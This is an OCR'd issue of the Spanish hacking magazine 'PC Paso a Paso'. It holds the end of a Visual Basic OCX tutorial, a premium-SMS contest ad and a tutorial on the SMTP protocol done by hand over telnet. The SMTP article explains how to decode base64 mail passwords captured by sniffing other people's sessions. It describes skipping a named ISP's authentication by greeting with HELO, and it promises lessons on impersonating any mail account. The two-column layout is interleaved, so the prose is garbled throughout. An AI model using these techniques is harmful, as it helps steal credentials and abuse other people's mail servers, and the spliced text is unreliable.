acabamos de crear un array de controles para Colocamos el objeto en el formulario y lo


todos los botones numricos de la calculadora, estiramos para que ocupe el mximo de rea
y ahora...., alguien se atreve con los botones de proyecto, como en la imagen.
operadores?. Bien, ahora que lo tenemos colocado vamos a
crear las instrucciones necesarias para que se
3.- OCX : El control de usuario pueda pintar en nuestro OCX.
Vamos al editor de cdigo y creamos una
Qu es un OCX? Os estaris preguntando. Un funcin que recibir los parmetros necesarios
OCX es un control de usuario, es un objeto para pintar un crculo.
creado por el programador. Por ejemplo, si
quisiramos tener un objeto que estuviera
compuesto por 2 botones, crearamos un OCX
! Puedes crear...
que constara de un pequeo panel con esos
dos botones. Este OCX, una vez creado, lo Puedes crear las funciones de un proyecto con el wizard
podramos utilizar en nuestros futuros proyectos. que incorpora VB. Para ello debes ir a Herramientas-
>Agregar procedimiento, y en la siguiente ventana elegir
El OCX, como la DLL, son dos pasos muy funcin, ponerle un nombre y darle un mbito pblico para
importantes en el estudio de la programacin. poder acceder a ella desde cualquier proyecto.
Es totalmente necesario que quede claro el
concepto de estos. El control que vamos crear
ser una especie de pizarra, donde podremos Yo, por ejemplo, a esta funcin le he llamado
pintar crculos en diferentes colores. Para "AddCirculo", ya que esta ser su funcionalidad
empezar nuestro OCX, abrimos un nuevo (aadir crculos).
proyecto. En la ventana de seleccin de tipo La funcin recibir como parmetros la posicin
de proyecto, esta vez, no cogeremos "EXE X, la Y, el radio y color del crculo.
estndar" sino que escogeremos "Control Active
X".
Vamos a introducir un nuevo objeto, el
! Las funciones...
PictureBox.
Las funciones y procedimientos se utilizan generalmente
para ahorrar cdigo repetitivo, aunque en este caso es
estrictamente necesario su uso para poder acceder al OCX,
ya que una vez generado el control lo vamos a utilizarlo
en otros proyectos.

Los parmetros que se reciben se han de indicar


entre los parntesis de la funcin, la cosa
quedara as:

Public Function AddCirculo (X As Long, Y As Long,


R As Long, C As Integer)

End Function

- X e Y marcarn la posicin del circulo, por

Pgina 48 PC PASO A PASO N 8


LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO

eso son de tipo Long, ya que pueden ser Si picis sobre la palabra Circle y pulsis F1
mayores al mximo admitido por el tipo de veris el significado de cada uno de los
dato Integer (en la segunda entrega ya se parmetros que recibe, siempre y cuando
indicaron los rangos de tipos de datos). tengis bien instaladas las MSDN.
Bien, qu estamos haciendo aqu?, pues muy
- R indica el radio del crculo, el cual puede ser fcil, le hemos dicho a nuestro OCX que dibuje
tan grande como nosotros queramos, por lo un circulo en PB de radio R en las posiciones
que tambin ser Long. X,Y con el color C.

- Finalmente C, que indicar el color. En este Y de donde recibe los valores esta funcin?
caso si que estamos hablando de un dato de Pues del formulario donde estamos agregando
tipo Integer, ya que su valor estar entre 0 y nuestro OCX. En este caso, para hacer la prueba
15 (colores bsicos). previa, vamos al explorador de proyectos (arriba
Ahora, dentro de esta funcin, vamos a dibujar a la derecha) y picamos con el botn derecho
el circulo. Para ello debemos utilizar la funcin sobre el proyecto. Nos aparecer un men
Circle que tiene el PictureBox. (Os habis desplegable, donde deberamos ver el submen
acordado de cambiarle ya el nombre?) Yo he Agregar. Al desplegarse este submen podemos
llamado a mi PictureBox PB, por lo que la lnea ver Formulario, Formulario MDI, modulo...
quedar as:
Nosotros, en nuestro caso, escogeremos
Public Function AddCirculo(X As Long, Y As Long, Formulario. Si os fijis bien, en la paleta de
R As Long, C As Integer) objetos hay uno nuevo, colocado habitualmente
PB.Circle (X, Y), R, QBColor(C) al final, seguramente deshabilitado, el cual es
End Function nuestro control de usuario. Para poder agregar
uno a nuestro proyecto debis volver antes al
Control de usuario y cerrar todo pulsando el
! La funcin... aspa de la imagen, hasta que vuelva al
formulario que hemos agregado.
La funcin QbColor() devuelve el valor necesario para la
funcin Circle cuando le pasamos un nmero entero. Los
valores para C estn en esta tabla:

Si hemos hecho todo bien, deberamos poder


agregar nuestro OCX al nuevo formulario. Vamos
a la paleta de controles, lo pintamos y

PC PASO A PASO N 8 Pgina 49


LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO

redimensionamos hasta que adquiera el tamao "Tipo de proyecto" por "Exe estndar". Tambin
necesario (sera lo equivalente a hacer doble debemos fijarnos que en el combo "Objeto
click sobre el objeto en la paleta de controles). Inicial" aparece el nombre de nuestro
Necesitamos tambin saber la X, Y, radio y formulario. Aceptamos y ejecutamos. Si todo
color, aqu dejo que vuestra imaginacin decida, ha ido bien deberamos poder dibujar crculos
por mi parte, voy a crear 4 cajas de texto y un en nuestro control OCX.
botn.
Esto visto as, puede parecer una autentica
Los TextBox servirn para indicar cuales sern chorrada, seguro que alguno se est
los valores para las variables anteriormente preguntando y porque no hemos puesto un
mencionadas (X,Y,R,C), y cada vez que PictureBox en un formulario directamente y
pulsemos Pintar se dibujar un circulo en el pintamos a partir de este?, pues ahora vamos
PictureBox de nuestro OCX. a ver la verdadera utilidad de un OCX.

! En mi OCX... 2.- Reutilizando el OCX : Generar


el fichero
En mi OCX el PictureBox es de color blanco, y no gris.
Esto es porque yo he cambiado la propiedad BackColor Volvemos a Proyecto->Propiedades y
del PictureBox al color blanco. cambiamos los parmetros para que vuelvan
como al inicio (Tipo de proyecto = "Active X"
y Objeto inicial = "ninguno").

Picamos dos veces sobre el control de usuario


en el explorador de proyectos y generamos el
OCX, Cmo?, pues yendo a Archivo->Generar
MiControl.ocx

! S os aparece...

Si os aparece un error indicando que vuestro control no es


pblico, debis ir a la propiedad "Public" del cuadro de
propiedades del control y ponerle el valor a true

Nos va a aparecer un "browser" para guardar


Lo que queda ahora es sencillo: el archivo fsicamente donde queramos.
Nosotros, para no perdernos, lo vamos a guardar
Private Sub CmdPintar_Click() en la misma carpeta del proyecto.
MiControl1.AddCirculo TxtX, TxtY, TxtRadio,
TxtColor Una vez generado cerramos todo nuestro
End Sub proyecto (acordaos de guardar antes de nada)
y abrimos otro nuevo. En esta ocasin cogemos
Para poder ejecutar esto, en modo de prueba, "Exe estndar".
debemos ir al men Proyecto->Propiedades y
aqu, cambiamos "Control Active X" en el Combo Vamos a proyectos->componentes y le damos

Pgina 50 PC PASO A PASO N 8


LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO

al botn examinar. Podis apreciar que se ha - Pintar Pxel


abierto un explorador para buscar archivos - Pintar Lnea
.ocx, por lo que nosotros vamos a buscar el - Borrar pxel
que nos interesa, y este es el que acabamos - Borrar Lnea
de guardar en la carpeta del proyecto. - Botn deshacer...
Hasta aqu hemos llegado por hoy, para la
Una vez agregado debera aparecernos en la prxima entrega, creacin de una DLL desde
paleta de controles un nuevo objeto, como nos 0!!, Saludos.
haba pasado anteriormente, con la diferencia
de que ahora no tenemos el ocx en nuestro
explorador de proyecto, si no que estamos ! En nuestra WEB...
accediendo al OCX directamente, sin mediar
cdigo alguno (como podramos hacer contra En nuestra Web (www.hackxcrack.com), en la SECCIN
el WinSock, por ejemplo) PROGRAMAS tienes el cdigo de los proyectos explicados
en este curso. Si no tienes ganas de escribir, ya sabes,
Lo agregamos al formulario y lo descrgalo!!!
redimensionamos tal y como habamos hecho
anteriormente. Si ahora escribimos "MiControl."
Se nos desplegar un men con todas las ! Si tienes...
opciones que tenemos para este control de
usuario, incluida la funcin que nosotros Si tienes dudas, deseas contactar con otras personas que
habamos creado, "AddCirculo". estn siguiendo este curso de Visual Basic o simplemente
quieres opinar sobre el artculo, no lo dudes un instante,
Bueno, espero que os halla resultado interesante psate por EL FORO de Hack x Crack ;)
el curso, lo que no podis negar es la utilidad (www.hackxcrack.com)
de los OCX para crear controles. Ahora dejo
que vuestra imaginacin sea la que os gue, De verdad, el FORO es un medio de contacto perfecto para
qu ms podis intentar?, multitud de opciones, esto, no nos enves mails porque es EN EL FORO y con
como: la ayuda de todos los miembros donde podemos, entre
- Borrar crculo todos, resolver dudas y ampliar conocimientos.

SI TE GUSTA LA INFORMTICA.
SI ESTAS CABREADO CON GINDOUS ;)
SI QUIERES PROGRESAR DE VERDAD
Incluye 7 CDs y 1 DVD
PC PASO A PASO Manual de Instalacin.
SOR TEA CADA MES UN S.O. Manual de Administracion

SUSE LINUX PR OFESSION AL 8.1


SIMPLEMENTE ENVIA LA PALABRA
PCCON AL 5099
DESDE TU MOVIL
PRECIO DEL MENSAJE: 0,90 + IVA.
IVA. VALIDO
VALIDO PARA
PARA (MOVISTAR
(MOVISTAR - VODAFONE Y AMENA)

EL PREMIO PUEDE SER CANJEABLE POR UN JUEGO


DE PC O CONSOLA QUE NO SUPERELOS 85
EL GANADOR SALDRA PUBLICADO AQU 2 NMEROS DESPUES DE LA PUBLICACIN.

PC PASO A PASO N 8 Pgina 51


SERIE RAW: CONOCIENDO
PROTOCOLOS Y SU SEGURIDAD.
RAW2: SMTP (Protocolo de
envio de correo
electronico)

- Conoceremos el funcionamiento del transporte de correo electrnico.


- Recordaremos el funcionamiento de Telnet.
- Aprenderemos a codificar y decodificar passwords de correo.
- Capturaremos claves de correo mediante un sniffer.
- Aprenderemos a suplantar la personalidad de cualquier cuenta de correo.
- Enviaremos mensajes a destinos imposibles.
- Aprenderemos a detectar si nos hacen a nosotros alguna de estas cosas. ;-)
- Y mucho ms!

1. Documentacin ahorrar el trabajo, dicindoos que el documento


que a nosotros nos interesa ahora es el RFC
Como ya vimos en el nmero anterior de la 2821 (ftp://ftp.rfc-editor.org/in-
serie RAW, hay bsicamente 3 formas de notes/rfc2821.txt). Si, an as, os habis
investigar el funcionamiento de un protocolo. molestado en mirar los resultados de la
Como breve resumen, os las recuerdo: bsqueda (espero que no seis tan vagos como
para no haberlo hecho), habris visto un montn
1- Leer los documentos tcnicos adecuados de documentos que incluyen en su ttulo el
(RFCs) trmino "service extension". Como ya
2- Realizar ingeniera inversa mediante un veremos a lo largo del artculo, SMTP es un
sniffer protocolo con unas funciones muy bsicas que
3- Seguir fielmente cada artculo de la serie se ampla de forma modular con una serie de
RAW en la revista HackXCrack. ;-) extensiones opcionales, que estarn o no
implementadas dependiendo de cada servidor,
Con respecto al primer punto, podis comprobar y que son precisamente las llamadas "service
que, si buscamos el trmino "SMTP" en la Web extension".
oficial de los documentos RFC Podemos ver que estudiar el protocolo SMTP
(http://www.rfc-editor.org), nos es bastante ms complicado que estudiar el
aparecern una cantidad importante de POP3 (por algo empezamos la serie RAW por
entradas, por lo que es fcil que nos perdamos. POP3 ;-), ya que no slo tenemos un RFC de
En realidad, es fcil encontrar el documento 79 pginas con la funcionalidad "bsica", si no
adecuado si recordamos lo que ya cont sobre adems un buen taco de documentos sobre
el campo "More Info (Obs&Upd)", pero os cada una de las "service extension". Pero

Pgina 52 PC PASO A PASO N 8


SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW

tranquilos, que en este artculo os lo daremos de correo de Macizorra, en un ISP llamado


ya todo masticadito. ;-D JotMail. As que Pringaete escribe en su cliente
de correo (Eudora, Outlook, Kmail, o el que
2. Mecanismo bsico del correo sea) el siguiente mensaje:
electrnico
From: pringaete@buanadu.es
Antes de continuar, es importante que tengis To: macizorra@jotmail.com
bien claro que lo explicado en este artculo (y Subject: te amo
en el anterior) no es aplicable a las cuentas
de correo por Web. Estas mu buena. Quieres salir conmigo?
Como vimos en el artculo anterior, el protocolo
POP3 se utiliza tan slo para la recepcin del Fdo: Pringaete
correo electrnico y, como veremos ahora,
SMTP es el protocolo que se utiliza para el Cuando ya ha redactado su bonita declaracin
envo. Para comprender por qu se utilizan dos de amor, pulsa el botn ENVIAR y unos enanitos
protocolos diferentes para un mismo servicio mgicos meten el mensaje en una caja de
(el correo electrnico, o e-mail), vamos a ver zapatos y lo llevan volando hasta la bella
de forma rpida el funcionamiento del correo Macizorra... o no es as? No habamos quedado
electrnico mediante una "historieta" de en el artculo anterior en que los enanos mgicos
ejemplo. slo se utilizan para construir calculadoras
japonesas, y no para transportar paquetes?
En nuestra historia hay 3 personajes: Pringaete, Vamos a ver entonces que es lo que ocurre en
Macizorra, y Musculitos. realidad desde el instante en que Pringaete
pulsa el botn ENVIAR.

2.1. El PC de Pringaete se conecta con el


servidor SMTP de Buanad.

Lo primero que hace el cliente de correo de


Pringaete cuando ste pulsa el botn ENVIAR,
es conectarse al servidor SMTP de Buanad.
Cuando Pringaete configur su cliente de correo,
tuvo que introducir un par de datos, que eran:
la direccin del servidor POP3 de Buanad
(para poder recibir su correo, tal y como vimos
en el artculo anterior), y la direccin del
servidor SMTP de Buanad (para poder enviar
su correo, tal y como veremos ahora). As que
Pringaete Macizorra Musculitos
su cliente sabe perfectamente dnde debe
conectarse. Una vez establecida la conexin,
Nuestro amigo Pringaete ha decidido armarse el cliente enva una serie de comandos al
de valor y declarar su amor a Macizorra y, como servidor de Buanad, los cuales veremos en
es bastante cortado, el mejor medio que ha detalle ms adelante y, una vez enviados esos
encontrado para hacerlo es el correo electrnico. comandos, cierra la conexin y se olvida para
Para ello dispone de una cuenta de correo en siempre del tema, dejando el problema en
un ISP llamado Buanad, y conoce la direccin manos del servidor de Buanad.

PC PASO A PASO N 8 Pgina 53


SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW

Puede ser que el servidor de Buanad no pueda


localizar directamente el servidor de Jotmail,
para lo cual tendr que utilizar algn otro
servidor de SMTP intermedio, al cual localizar
igualmente mediante el mecanismo DNS MX.
Estos servidores intermedios pueden ser de
dos tipos:
- Relays: Cuando se limitan a hacer de
intermediarios sin realizar ninguna modificacin.
La conclusin a la que hemos llegado es que - Gateways: Cuando, adems de transportar
nuestro cliente de correo no tiene que el mensaje, realizan alguna modificacin
preocuparse de cmo localizar el servidor de necesaria para que ste llegue hasta el destino
Jotmail, en donde se encuentra la cuenta de final, normalmente por diferencias en los
correo del destinatario, Macizorra, si no que protocolos utilizados.
delega por completo en el servidor de SMTP
para el cual fue configurado (el de Buanad),
el cual se encargar, en los siguientes pasos
que veremos ahora, de transportar el mensaje
hasta su destino final.

2.2. El servidor SMTP de Buanad busca


2.3. El mensaje llega a la cuenta de Jotmail
el servidor SMTP de Jotmail.
de Macizorra.
Esto lo cuento muy brevemente, ya que lo que
Hasta que el mensaje de Pringaete llega a la
nos interesa a nosotros en este artculo es el
cuenta de Jotmail de Macizorra, ste puede
primer paso, que ya he explicado, es decir, la
haber pasado por varios servidores SMTP
conexin entre el cliente de correo y el servidor
intermedios.
de SMTP. A partir de ese momento, ya no
Sin importar cual haya sido el camino que ha
tendremos control sobre lo que ocurre con
seguido el mensaje, finalmente llegar hasta
nuestro mensaje, por lo que lo que realmente
el servidor SMTP de Jotmail, el cual se limitar
nos interesa es precisamente hasta ese punto.
a almacenar el mensaje en su disco duro, en
Como bien dice el epgrafe, una vez que
espera de que Macizorra se conecte por POP3
Pringaete ha cerrado la conexin entre su
(o cualquier otro protocolo de recepcin de
cliente de correo y el servidor SMTP de Buanad,
correo electrnico) a su cuenta para bajarlo a
ste ltimo se encargar de transportar el
su PC.
mensaje hasta el servidor de Jotmail, que es
Como ya vimos en el artculo anterior, el mensaje
desde donde podr leerlo Macizorra. Para ello
quedar almacenado en el disco duro del
utiliza un mecanismo del clsico servicio de
servidor hasta que el cliente POP3 de Macizorra
DNS (DNS MX, o DNS Mail eXchanger
ejecute el comando DELE.
mecanism) en el que no entraremos en detalle.
Estad atentos a la revista, porque es probable
que dedique algn nmero de la serie RAW a
explicar de un tirn varios protocolos tan
sencillos que no merecen un artculo dedicado,
entre los cuales podr encontrarse el protocolo
DNS.

Pgina 54 PC PASO A PASO N 8


SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW

2.4. Macizorra lee el mensaje. To: pringaete@buanadu.es


Subject: Ajo y Agua
Una vez que el mensaje est ya en la cuenta
de correo de Macizorra, ste quedar Lo siento, Pringa, pero ya estoy saliendo con
almacenado en el disco duro del servidor de Musculitos. Es una pena, porque si no fuese por
Jotmail hasta que Macizorra decida un buen el...
da comprobar si tiene algn mensaje, para lo
cual conectar mediante POP3 desde su cliente Fdo: Macizorra
de correo hacia el servidor POP3 de Jotmail,
tal y como vimos en el artculo anterior. Tambin Vamos a ver en detalle lo que hace el cliente
podra utilizar otro protocolo de recepcin de de correo de Macizorra para llevar la desgraciada
correo (como IMAP), ya que una vez que el noticia al pobre Pringaete.
mensaje est almacenado en el disco duro, ya
slo depende de los protocolos que tenga 3.1. Estableciendo la conexin
implementados el servidor de correo para
permitir la recepcin. Desde luego, lo que est En el momento en que Macizorra pulse el botn
claro es que en nada influye el hecho de que ENVIAR de su cliente de correo, ste establecer
el mensaje haya sido enviado mediante SMTP una conexin TCP/IP con el puerto 25 del
para que luego sea ledo por POP3, IMAP, o servidor SMTP de Jotmail.
cualquier otro sistema. Si queremos hacer esto mismo nosotros, ya
sabemos cual es la herramienta que
necesitamos... el todopoderoso Telnet! :-)
Os recuerdo cmo podemos establecer la
conexin con el puerto 25 mediante Telnet.
Supongamos que la direccin de nuestro
servidor SMTP (la que nos indican cuando
damos de alta una cuenta de correo, para que
podamos configurar el cliente Outlook, Eudora,
Kmail, o el que sea) es: smtp.jotmail.com.

Windows 9x:

Para establecer la conexin con el puerto 25


mediante Telnet en Windows 9x (95, 98, Me),
haremos lo siguiente:
Desde el men de Inicio vamos a Ejecutar,
y ah escribimos:
3. El protocolo SMTP en detalle telnet smtp.jotmail.com 25
Una vez conectados, no olvidis activar el eco
Una vez visto el mecanismo de transporte de local, lo cual podemos hacer desde el men
mensajes a grandes rasgos, ya slo queda Terminal de la aplicacin de Telnet, en la opcin
entrar en detalle en lo que es el protocolo en Preferencias.
s. Para ello, empezamos por ver la respuesta
de Macizorra a Pringaete: Windows 2000/XP:

From: macizorra@jotmail.com Para hacer esto mismo en Windows XP o

PC PASO A PASO N 8 Pgina 55


SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW

Windows 2000, vamos al men de Inicio, implementacin de las service extension, tal
Ejecutar, y escribimos: y como veremos ahora.
telnet Para mantener la compatibilidad, cualquier
Una vez dentro de la aplicacin de Telnet, servidor SMTP debe soportar tambin el uso
escribimos: de HELO, pero lo habitual es que cualquier
set localecho cliente salude siempre con EHLO.
Con lo que activamos el eco local, y ya slo Que para qu sirve esto de saludar a una
nos falta escribir: mquina?
o smtp.jotmail.com 25 Si recordamos un poco lo que he explicado
Para establecer la conexin con el servidor. antes sobre el camino que segua el mensaje
de Pringaete hasta llegar a Macizorra, sabremos
Linux/Unix: que bsicamente un servidor SMTP puede recibir
dos tipos de conexiones:
Desde una consola (shell) simplemente - Conexiones de un cliente (como t,
escribimos: como yo, y como Pringaete).
telnet smtp.jotmail.com 25 - Conexiones de otro servidor de SMTP
(aquellos que se usan como intermediarios para
Una vez conectados, el servidor SMTP nos transportar un mensaje).
enviar un breve saludo. Lo nico importante Al saludar al servidor le estamos diciendo de
de este saludo es que tiene que empezar por dnde venimos nosotros, es decir, si somos un
220 si todo ha ido bien. cliente de ese mismo servidor, o si traemos un
Por ejemplo: mensaje desde otro lado.
220 smtp03.jotmail.com ESMTP Para indicar esto lo que hacemos es indicar en
el saludo un nombre de dominio. Por ejemplo:
Por cierto, que en este ejemplo esa coletilla de EHLO jotmail.com
ESMTP nos indica que el servidor soporta Con esto le estamos diciendo que el dominio
service extension, lo cual nos ser til para desde el que queremos enviar el mensaje es
saber cmo debemos proceder a continuacin, jotmail.com.
tal y como explicar en el siguiente punto. Vamos a ver la diferencia entre HELO y EHLO:

3.2. Saludando con el comando EHLO (y HELO


no es una errata)
Al identificarte con:
Si, ya se que "Hola" se dice "Hello" en ingls. HELO jotmail.com
Entonces por qu este comando se llama Simplemente estas diciendo: "Hola, vengo desde
EHLO y no HELLO o HELO? Jotmail.com".
Pues hay un buen motivo, y es que este Una vez enviado este saludo, podrs empezar
comando se llama EHLO a propsito, directamente a enviar los mensajes que quieras.
precisamente para diferenciarlo de otro
comando llamado HELO. EHLO
El comando HELO era el que se utilizaba en
tiempos remotos para iniciar el dilogo en una Al identificarte con:
sesin SMTP, pero en la actualidad ste EHLO jotmail.com
comando ha sido sustituido por el comando Ests diciendo: "Hola, vengo desde Jotmail.com,
EHLO, que tiene el mismo objetivo, pero y adems puedo manejar service extensions".
incorpora adems facilidades para la Una vez enviado este saludo, el servidor SMTP

Pgina 56 PC PASO A PASO N 8


SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW

te enviar una lista de service extension que sesin sin password, incluso habiendo iniciado
puedes utilizar (porque el servidor las tiene la sesin con HELO. Claro que, pensar que
implementadas). Conociendo ya las cualquier administrador es lo suficientemente
caractersticas adicionales que puedes utilizar avispado es pensar mucho, y yo mismo puedo
en ese servidor, puedes empezar a enviar los contaros el caso de un servidor SMTP de un
mensajes que quieras, utilizando o no esas ISP espaol (cuyo nombre no voy a dar :-P)
c a ra c t e r s t i c a s s e g n t e c o nv e n g a . que requiere autenticacin, pero slo la exige
En algunos casos, estas caractersticas si se inicia la sesin con EHLO, por lo que
adicionales (las service extension) no estn basta con que utilices HELO en lugar de EHLO
slo para que las use quien quiera, si no que para utilizar ese servidor gratuitamente. 0:)
pueden tambin ser de uso obligatorio. Un
ejemplo tpico de esto es el de las service En el caso de que no tengamos que
extension de autenticacin, que sirven para autenticarnos, bien porque el servidor no tenga
exigir un password para poder entrar en la implementada esa service extension (que, por
cuenta de correo. cierto, viene documentada en el RFC 2554:
Pero como.... Qu el usar un password para ftp://ftp.rfc-editor.org/in-notes/rfc2554.txt), o
poder enviar e-mails es slo una caracterstica bien porque sea opcional, todo es mucho ms
opcional?? Pues, por increble que parezca, sencillo (y ms divertido ;-)
no has ledo mal: el protocolo SMTP no As que, si hemos tenido la suerte de dar con
exige el uso de ningn password, por lo un servidor SMTP que no exige autenticacin,
que cualquier servidor SMTP que no tenga podemos pasar directamente al punto 3.4. Si
implementada esta service extension permitir no, tendremos que seguir aqu para ver cmo
que cualquiera enve mensajes desde ese solucionar este paso.
servidor, sin necesidad de tener ninguna cuenta.
3.3.1. Cmo sabemos si tenemos que
3.3. Nos autenticamos? (Tampoco es autenticarnos?
una errata. Si os suena mal, mirad el
diccionario :P) Que cmo sabemos si el servidor requiere
autenticacin? Slo lo sabremos si saludamos
Si os habis enterado un poco de que va el con EHLO, pues ser entonces cuando el
tema (si no, es por mi culpa, ya que no me servidor nos de la lista de service extension
habr explicado con claridad), estaris ahora que tiene implementadas.
pensando que una posible forma de saltarse Si en la lista que nos devuelve el servidor tras
la autenticacin es utilizar el comando HELO el EHLO, se encuentra una lnea con la palabra
en lugar de EHLO, ya que sera algo as como AUTH: mal rollo. Este servidor tiene
decirle al servidor: implementada la service extension de
"Mira, me encantara identificarme con un autenticacin.
password, pero es que resulta que mi cliente Como ejemplo de esto vamos a ver la respuesta
de correo es tan antiguo que no me permite que nos da el servidor de cuentas gratuitas del
hacer eso. As que entro por las buenas, vale? que hablbamos en el nmero anterior
;-)" (www.hotpop.com):
Podemos pensar que cualquier administrador
de un servidor SMTP ser lo suficientemente 220 smtp-1.hotpop.com ESMTP Postfix
avispado como para no permitir esto, as que ehlo bonbon.net
lo normal es que cualquier servidor que requiera 250-smtp-1.hotpop.com
el uso de autenticacin no permita iniciar una 250-PIPELINING

PC PASO A PASO N 8 Pgina 57


SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW

250-SIZE 3000000 3.3.2. Si no hay ms remedio, habr que


250-VRFY autenticarse
250-ETRN
250-AUTH LOGIN PLAIN Si no hay ms narices, vamos a ello.
250 8BITMIME Para que pueda realizarse la autenticacin,
tanto el cliente (nuestro programa de correo
Como vemos, una de las service extension que electrnico: Eudora, Outlook, Kmail...) como
tiene implementadas es la de autenticacin. el servidor (el servidor de correo) tienen que
Vamos a intentar enviar un mensaje sin ponerse de acuerdo con qu sistema de
autenticarnos. Lo que viene a continuacin ya autenticacin utilizar.
lo veremos explicado en detalle ms adelante, Hay muchos sistemas de autenticacin, algunos
de momento slo quedaos con la idea de lo ms seguros que otros, tal y como especifica
que ocurre al intentar enviar un e-mail sin el estndar SASL (Simple Authentication and
habernos autenticado: Security Layer). Podis ver una lista completa
de los sistemas de autenticacin soportados
mail from: macizorra@jotmail.com p o r e l e s t n d a r e n
250 Ok http://www.iana.org/assignments/sasl-
rcpt to: pringaete@buanadu.es mechanisms , as como una especificacin
550 <macizorra@jotmail.com>: Sender address de este estndar en el RFC 2222 (ftp://ftp.rfc-
rejected: Access Denied: This server editor.org/in-notes/rfc2222.txt).
is for HotPOP.com users ONLY, email Cmo se ponen de acuerdo en cual de todos
support@HotPOP.com for assistance. estos sistemas utilizar? Pues simplemente el
cliente va probando los sistemas que conoce,
Como vemos, nos deniega el acceso a esa y sigue probando hasta que alguno le parezca
operacin (Access Denied), por lo que no hay bien al servidor, ante lo cual responder con
ms narices que autenticarse. un cdigo 235, por ejemplo:
En realidad este error se ha producido no slo
por no habernos autenticado, si no porque 235 ok, go ahead (#2.0.0)
para colmo la direccin del origen del mensaje
(macizorra@jotmail.com) ni siquiera Si lo que queremos hacer es realizar una
pertenece a una cuenta de este servidor SMTP. conexin SMTP mediante un cliente de Telnet,
Si hiciesemos la misma prueba, pero utilizando entonces no tenemos que complicarnos ms
como origen una cuenta que si que pertenezca la vida aqu, ya que podemos utilizar el sistema
a este servidor, la respuesta ser diferente: ms sencillo de autenticacin, que es el PLAIN.
Ahora mismo os explicar como funciona. ;-)
mail from: yosoygenial@bonbon.net En cambio, si vuestro objetivo es capturar con
250 Ok un sniffer una sesin SMTP ajena (espero que
rcpt to: pringaete@buanadu.es sea por una buena causa :-P), entonces os
550 <pringaete@buanadu.es>: Recipient tocar rezar para que el sistema de autenticacin
address rejected: Relaying Denied: Authent no sea de los ms seguros, porque si no os
icate with POP first or contact veris en serias dificultades para extraer la
support@HotPOP.com informacin que deseis "tomar prestada" de
la captura de vuestro sniffer.
Aqu ya vemos como claramente nos dice que
tenemos que autenticarnos. Autenticacin PLAIN:

Pgina 58 PC PASO A PASO N 8


SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW

Tenemos una pequea aplicacin que nos va su password. ;-))))


a solucionar todos los problemas que podamos
tener con la autenticacin, y se encuentra en: Codificando en base64:
http://www.fourmilab.ch/webtools/ba
se64/. Esta sencilla aplicacin, que est Si, en cambio, lo que queremos es realizar
disponible tanto en ejecutable para Win32 como nuestra propia sesin SMTP a pelo utilizando
en cdigo fuente para cualquier otro sistema un cliente de Telnet, lo que necesitaremos es
operativo (vaaaale... aceptamos Win32 como precisamente lo contrario. Conocemos el nombre
sistema operativoooo...), nos sirve para codificar de usuario y el password, y lo que necesitamos
y decodificar cualquier texto con el sistema de ahora es codificarlo para poder enviarlo al
codificacin base64, que es el que se utiliza servidor SMTP. Para ello, creamos un archivo
para la autenticacin. de texto que contenga el nombre de usuario
Vamos a ver rpidamente su uso: seguido del password, separados por un espacio,
por ejemplo (recordemos el artculo de POP3,
Decodificando en base64: en el nmero anterior de la revista):
yosoygenial pedo67
Si tenemos una captura de una sesin SMTP Y a este archivo lo llamamos password.txt.
realizada con un sniffer (os recuerdo que en El procedimiento ahora es el mismo, pero lo
www.hackxcrack.com os podis bajar la que tenemos que ejecutar es lo siguiente:
ltima versin del sniffer IRIS, cuyo manejo base64 -e password.txt
explicamos en el nmero anterior), nos Nos devolver el texto codificado tal y como
interesar decodificar el texto que envi el se lo tenemos que enviar al servidor.
cliente de correo que contena el password Suponiendo que el texto codificado es este:
codificado. Para ello, creamos un archivo de IHlvc295Z2VuaWFsIHBlZG82Nw==
texto con el password codificado que hemos Entonces slo tenemos que escribir esto en
capturado, al cual llamaremos password.txt. nuestro cliente de telnet:
A continuacin, hacemos lo siguiente, segn
el sistema que utilicemos: AUTH PLAIN IHlvc295Z2VuaWFsIHBlZG82Nw==
- En Windows:
men Inicio -> Ejecutar -> command.com Y... hop! Estamos dentro :-)
Se nos abrir una ventana Ms-Dos.
Vamos al directorio en el que tenemos la 3.3.3. Repasemos...
aplicacin que nos hemos bajado para base64.
En ese directorio escribimos: El resumen de todo este barullo es el siguiente:
base64 -d password.txt
- En Linux/Unix: 1- Saludamos con EHLO:
Desde una consola (shell), vamos al directorio EHLO bonbon.net
donde tenemos la aplicacin que nos hemos 2- Si el servidor requiere autenticacin, en la
bajado para base64, y desde ese directorio respuesta al saludo habr una lnea que
escribimos: contendr la palabra AUTH.
base64 -d password.txt 3- Si tenemos que autenticarnos, codificaremos
el usuario y el password con la aplicacin de
En ambos casos, lo que nos devolver el base64, y escribimos al servidor:
programa ser el resultado de decodificar el AUTH PLAIN <el chorizo que nos haya
texto en base64. Si todo ha salido bien, nos salido al codificar el usuario y el
devolver un nombre de usuario seguido de password>

PC PASO A PASO N 8 Pgina 59


SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW

3.4. Al fin estamos dentro y empezamos RCPT TO: pringaete@buanadu.es


a redactar el dichoso mail Tras enviar este comando, pueden ocurrir 2
cosas:
Se acabaron todos los preliminares para entrar - Si no se siguieron bien los pasos anteriores
en la cuenta. A partir de aqu todo ser mucho para entrar en la cuenta, lo ms probable es
ms sencillo, y acabaremos en unos minutejos que el servidor nos responda diciendo que no
:-) (porque no pienso entrar en detalle en el admite RELAY, es decir, que slo quiere que
formato de las cabeceras, ni en el envo de lo utilicen los usuarios registrados. En ese
attachments, que si no ocupo ya toda la caso... ajo y agua :-(
revista :-P). - Si, en cambio, nos responde con un
250 Ok
La redaccin de un mensaje es realmente Entonces una de dos: o seguimos bien los
sencilla. Slo hay 3 pasos, tal y como iremos pasos anteriores para entrar en la cuenta, o
